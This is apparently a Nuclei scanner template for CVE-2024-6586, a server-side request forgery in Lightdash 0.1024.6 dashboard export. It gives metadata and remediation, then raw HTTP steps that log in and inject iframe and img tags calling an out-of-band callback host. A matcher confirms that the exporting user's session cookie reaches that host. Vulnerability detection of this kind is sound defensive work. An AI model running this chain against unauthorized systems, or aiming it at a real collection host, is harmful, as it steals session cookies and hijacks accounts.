Lightdash v0.1024.6 - Server-Side Request Forgery

id: CVE-2024-6586

info:
  name: Lightdash v0.1024.6 - Server-Side Request Forgery
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Server-Side Request Forgery (“SSRF”) in the export dashboard functionality of Lightdash version 0.1024.6 allows remote authenticated threat actors to obtain the session cookie of any user who exports a crafted dashboard. When they are exported, dashboards containing HTML elements can trigger HTTP requests to an external domain that contain the exporting user’s session cookie. The cookie could be stolen by a threat actor and used to hijack application user sessions.
  impact: |
    Authenticated attackers can create dashboards with malicious HTML elements that trigger HTTP requests to external domains, exfiltrating session cookies of users who export the dashboard.
  remediation: |
    Update Lightdash to version 0.1024.7 or later to address the SSRF vulnerability in dashboard export functionality.
  reference:
    - https://github.com/google/security-research/security/advisories/GHSA-4h7x-6vxh-7hjf
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6586
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-6586
    cwe-id: CWE-201
    epss-score: 0.01933
    epss-percentile: 0.80216
    cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    shodan-query: title:"Lightdash"
    vendor: lightdash
    product: lightdash
  tags: cve,cve2024,lightdash,ssrf,oast,authenticated,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /api/v1/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{username}}","password":"{{password}}"}

  - raw:
      - |
        GET /api/v1/org/projects HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: projectuuid
        part: body
        json:
          - '.results[0].projectUuid'
        internal: true

  - raw:
      - |
        POST /api/v1/projects/{{projectuuid}}/dashboards HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"Test","description":"Test","tiles":[]}

    extractors:
      - type: json
        name: dashuuid
        part: body
        json:
          - '.results.uuid'
        internal: true

  - raw:
      - |
        PATCH /api/v1/dashboards/{{dashuuid}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tiles":[{"uuid":"00000000-0000-0000-0000-000000000000","x":0,"y":0,"h":9,"w":15,"type":"markdown","properties":{"title":"title","hideTitle":false,"content":"<iframe src=\"http://{{interactsh-url}}\">frame</iframe>\n\n<img src=\"http://{{interactsh-url}}\">img</img>\n"}}],"filters":{"dimensions":[],"metrics":[],"tableCalculations":[]},"name":"my dashboard"}

    matchers:
      - type: word
        part: body
        words:
          - '"status":"ok"'
        internal: true

  - raw:
      - |
        POST /api/v1/dashboards/{{dashuuid}}/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"queryFilters":"","gridWidth":1400}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "connect.sid=")'
          - 'contains(body, "status\":\"ok")'
        condition: and